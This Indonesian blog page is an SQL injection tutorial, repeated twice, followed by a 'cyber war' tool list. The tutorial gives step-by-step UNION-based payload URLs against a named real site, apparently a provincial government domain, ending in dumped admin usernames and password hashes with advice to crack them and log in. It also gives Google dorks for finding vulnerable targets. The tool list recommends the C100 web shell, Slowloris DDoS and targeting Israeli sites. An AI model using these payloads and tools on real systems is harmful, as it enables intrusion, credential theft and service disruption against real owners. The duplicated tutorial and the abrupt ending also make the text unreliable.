Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Cara Hacking Website Dengan Teknik SQL Injection Manual
Kamis, 13 Maret 2014
Posted by Unknown
Tag :
Hacking
Pengertian SQL Injection
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabeltbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja.
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
inurl:azerty.php?id= ,Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabeltbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja.
Kali ini kami akan berbagi peralatan tempur yang biasa digunakan untuk perang dunia maya / cyber war, semoga dengan hal ini kita akan lebih mudah dalam menyampaikan pesan perdamaian.
Peralatan penting diantaranya:
1. OPERATING SYSTEMS
Operating system merupakan bagian paling vital dalam upaya cyberwar, sebagai pondasi awal untuk memulai peperangan cyber.
Beberapa OS berikut yang paling digunakan untuk cyberwar dan penetration testing.
- Kali Linux
Pada operating system ini sudah terdapat beberapa tools standard yang memang digunakan untuk penetration testing dan didalamnya sudah terdapat METASPLOIT. OS ini sangat cocok digunakan untuk perang cyber. - WINDOWS OS (XP/Vista/7/8)
Windows adalah os yang paling umum digunakan dan sangat berguna juga untuk melakukan penetration testing, kekurangan dari windows adalah kita harus menambahkan aplikasi untuk menjalankan tools yang berbahasa pemrograman seperti python, ruby, perl, dll.
Anda bisa melakukan dual booting terhadap OS tersebut atau bisa menggunakan virtual machine seperti VMware. Alternatif lain bisa juga anda gunakan seperti, BlackBuntu, BlackOS, dll.



2. PETUNJUK & TUTORIAL HACKING, CRACKING, DEFACE, DLL
Anda bisa menemukan petunjuk untuk melakukan exploit, hacking, cracking dan deface diberbagai situs yang sudah menyediakan tutorial seperti www.binushacker.net.

Alternatif lainnya yang paling bisa digunakan:
- YOUTUBE & VIMEO
Siapa yang tidak kenal dengan YouTube & Vimeo, merupakan situs yang menyediakan video-video, tak terkecuali video tentang tutorial hacking, cracking, defacing, dll. Apabila tidak mengetahui bagaimana cara untuk cyberwar, tinggal cari dan lihat videonya di website ini. Sudah sangat banyak video tutorial diwebsite ini.
Website: www.youtube.com & www.vimeo.com - SECURITY TUBE
Situs ini merupakan situs yang spesifik menyediakan seluruh kumpulan video mengenai security dan hacking, sangat cocok untuk belajar teknik-teknik hacking, exploiting, cracking, defacing, fuzzing, dll.
Website: www.securitytube.net
3. VULNERABILITY INFORMATION
Selain anda memiliki exploit sendiri (undisclosed exploit) yang tidak disebarkan, anda juga bisa menggunakan free vulnerability yang sudah dipublikasikan di website-website berikut untuk mempermudah anda dalam menemukan kelemahan lawan.

Beberapa website yang bisa digunakan adalah sebagai berikut:
- EXPLOIT DATABASE
Exploit database adalah kelanjutan dari milw0rm dimana dikolaborasikan dengan google hacking database (GHDB). Diwebsite ini akan banyak ditemukan berbagai kelemahan website baik yang memiliki kelemahan remote, local atau di webaplikasi:
Website: www.exploit-db.com - SECURITY FOCUS
Situs ini hampir sama dengan Exploit-DB dan merupakan salah satu favorit team binushacker dalam mencari kelemahan, karena security focus sudah dibangun sejak lama. Disini akan ditemukan kelemahan-kelemahan website dari yang sudah lama sampai dengan yang terbaru. Sangat cocok untuk melakukan testing disegala aspek kelemahan terutama aplikasi web.
Website: www.securityfocus.com
4. TOOLS, SCANNER & SEARCH ENGINE
Berikut adalah bagaian paling penting dalam peralatan perang, yaitu kumpulan tools untuk scan, exploit dan pawning.

Kumpulan tools yang biasa dan sering digunakan adalah:
- SQL INJECTION TOOLS
SQL Injection merupakan kelemahan yang paling populer dalam dunia hacking khususnya yang berupa web application, yang bisa digunakan juga di berbagai database engine. Adapaun tools yang direkomendasikan adalah - REMOTE SHELL TOOLS
Remote shell tools merupakan tools yang wajib untuk dimiliki yang bisa di gunakan untuk exploitasi, download dan upload file. Eksekusi perintah-perintah baik yang ada di linux, bsd, freebsd dan windows.- C100 SHELL: merupakan sebuah tools exploitasi yang berbasis php dengan banyak fungsi didalamnya untuk eksekusi command, bypass, upload, download file, dll. Digunakan untuk *nix.
- NETWORK DAN WEB APPLICATION SCANNER
Network scanner digunakan untuk melakukan scan terhadap network target, mengumpulkan data dan informasi mengenai network yang digunakan oleh lawan. Sedangkan Webscanner digunakan untuk menemukan kelemahan lawan yang berbasis web aplikasi. - DISTRIBUTED DENIA OF SERVICE (DDOS) TOOLS
Tools ini digunakan untuk mematikan server secara sementara dengan teknik membajiri website dengan request hingga website tersebut overload dan tidak dapat diakses. List DDOS tool sebagai berikut:- SLOWLORIS: ddos tools yang dibuat oleh Rsnake, sangat powerful untuk check IIS server dan web aplikasi, sampai saat ini masih banyak digunakan.
- SEARCH ENGINE
Search engine merupakan alat terakhir yang perlu untuk digunakan untuk mencari website-website yang terdaftar. Misalkan anda akan mencari kelemahan website Israel tinggal gunakan keyword: *.il (Israel):- Google: search engine paling populer saat ini dan merupakan website no. 1 yang paling dikunjungi di dunia.
Website: www.google.com- Bing: merupakan sebuah tools untuk melakukan scanning terhadap kelemahan XSS.
Website: www.bing.com
Selanjutnya dengan mengetahui semua kebutuhan perang, anda telah memiliki langkah awal yang baik sebagai persiapan. Kemudian berikut adalah petunjuk yang bisa di praktekkan step-by-stepnya:








